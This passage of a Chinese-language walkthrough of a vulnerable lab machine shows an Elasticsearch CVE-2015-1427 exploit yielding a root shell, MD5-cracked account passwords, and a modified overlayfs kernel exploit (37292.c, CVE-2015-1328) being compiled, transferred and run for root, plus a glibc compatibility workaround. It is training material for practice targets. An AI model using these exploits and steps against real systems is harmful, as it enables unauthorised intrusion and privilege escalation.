    ▓█   ▀ ▓██▒   ▒████▄    ▒██    ▒ ▓  ██▒ ▓▒▓██▒▒██▀ ▀█  ▒██    ▒ ▓██░ ██▒▓█   ▀ ▓██▒    ▓██▒                         
    ▒███   ▒██░   ▒██  ▀█▄  ░ ▓██▄   ▒ ▓██░ ▒░▒██▒▒▓█    ▄ ░ ▓██▄   ▒██▀▀██░▒███   ▒██░    ▒██░                         
    ▒▓█  ▄ ▒██░   ░██▄▄▄▄██   ▒   ██▒░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒  ▒   ██▒░▓█ ░██ ▒▓█  ▄ ▒██░    ▒██░                         
    ░▒████▒░██████▒▓█   ▓██▒▒██████▒▒  ▒██▒ ░ ░██░▒ ▓███▀ ░▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒                     
    ░░ ▒░ ░░ ▒░▓  ░▒▒   ▓▒█░▒ ▒▓▒ ▒ ░  ▒ ░░   ░▓  ░ ░▒ ▒  ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓  ░░ ▒░▓  ░                     
    ░ ░  ░░ ░ ▒  ░ ▒   ▒▒ ░░ ░▒  ░ ░    ░     ▒ ░  ░  ▒   ░ ░▒  ░ ░ ▒ ░▒░ ░ ░ ░  ░░ ░ ▒  ░░ ░ ▒  ░                     
    ░     ░ ░    ░   ▒   ░  ░  ░    ░       ▒ ░░        ░  ░  ░   ░  ░░ ░   ░     ░ ░     ░ ░                        
    ░  ░    ░  ░     ░  ░      ░            ░  ░ ░            ░   ░  ░  ░   ░  ░    ░  ░    ░  ░                     
                                                ░                                                                     
    Exploit for ElasticSearch , CVE-2015-1427   Version: 20150309.1                                                    
    {*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something
    ~$ id
    [proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.17.0.2:9200  ...  OK
    uid=0(root) gid=0(root) groups=0(root)
    ~$ 
    
    
  • 並且發現了一個passwords檔案,檢視檔案得到一些賬號密碼使用 md5 進行解密【網路上一般有線上解密MD5的網站】,並將其解碼得到密碼,其中只有 john:1337hack 可以用於登入

    john:1337hack;
    test:1234test;
    admin:1111pass;
    root:1234pass;
    jane:1234jane
    

攻入真正目標

使用得到的 john:1337hack 登入 192.168.56.102 檢視是否有 root 許可權發現沒有,需要進行提權

john@socnet:~$ id
uid=1001(john) gid=1001(john) groups=1001(john)

探索一下目標上的資訊 uname -a 發現其版本 Linux socnet 3.13.0-24-generic 通過 searchsploit 查詢相關核心漏洞

john@socnet:~$ uname -a
Linux socnet 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

可以嘗試的核心漏洞

Linux Kernel 3.11 < 4.8 0 - 'SO_SNDBUFFORCE' / 'SO_RCVBUFFORCE' Local Privilege E | linux/local/41995.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local P | linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local P | linux/local/37293.txt
Linux Kernel 3.14-rc1 < 3.15-rc4 (x64) - Raw Mode PTY Echo Race Condition Privile | linux_x86-64/local/33516.c
  • 嘗試 linux/local/37292.c 漏洞檢視一下,發現其中存在依賴 /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so 我們需要去除依賴gcc部分因為目標上沒有 gcc

    fprintf(stderr,"creating shared library\n");
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
    write(lib,LIB,strlen(LIB));
    close(lib);
    /*
    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
        fprintf(stderr,"couldn't create dynamic library\n");
        exit(-1);
    }
    */
    write(fd,"/tmp/ofs-lib.so\n",16);
    close(fd);
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
    execl("/bin/su","su",NULL);
    }
    
  • 在本地編譯 gcc -o exp 37292.c 並將 /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so 與 編譯後的 exp 一起傳送到目標,可以使用 ssh 傳送或 Python HTTP 服務結合 wget 傳送;如果方法不熟悉建議練習後嘗試

  • expofs-lib.so 增加可執行許可權,將 ofs-lib.so 移動到靶機 \tmp 目錄,並執行 ./exp 即可得到 root 許可權

    john@socnet:~$ ./exp 
    spawning threads
    mount #1
    mount #2
    child threads done
    /etc/ld.so.preload created
    # id
    uid=0(root) gid=0(root) groups=0(root),1001(john)
    # 
    

如果出現下面錯誤,是你 kali 上編譯時的 /lib/x86_64-linux-gnu/libc.so.6 動態庫高於靶機的

./exp: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./exp)

解決方法是在靶機中使用 ldd --version 命令確定 ldd (Ubuntu EGLIBC 2.19-0ubuntu6) 2.19 然後去相關官網搜尋 2.19-0ubuntu6 下載其對應版本的庫檔案,此靶機適用的版本 http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb 下載解壓,在其中的 /lib/x86_64-linux-gnu/libc.so.6 確認其存在,編譯 C 時使用 gcc 引數 -Ldir 指定上面的 libc.so.6 的路徑,解決的編譯命令: gcc -o exp 37292.c -Ldir ./lib/x86_64-linux-gnu/libc.so.6

# ldd --version
ldd (Ubuntu EGLIBC 2.19-0ubuntu6) 2.19
Copyright (C) 2014 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.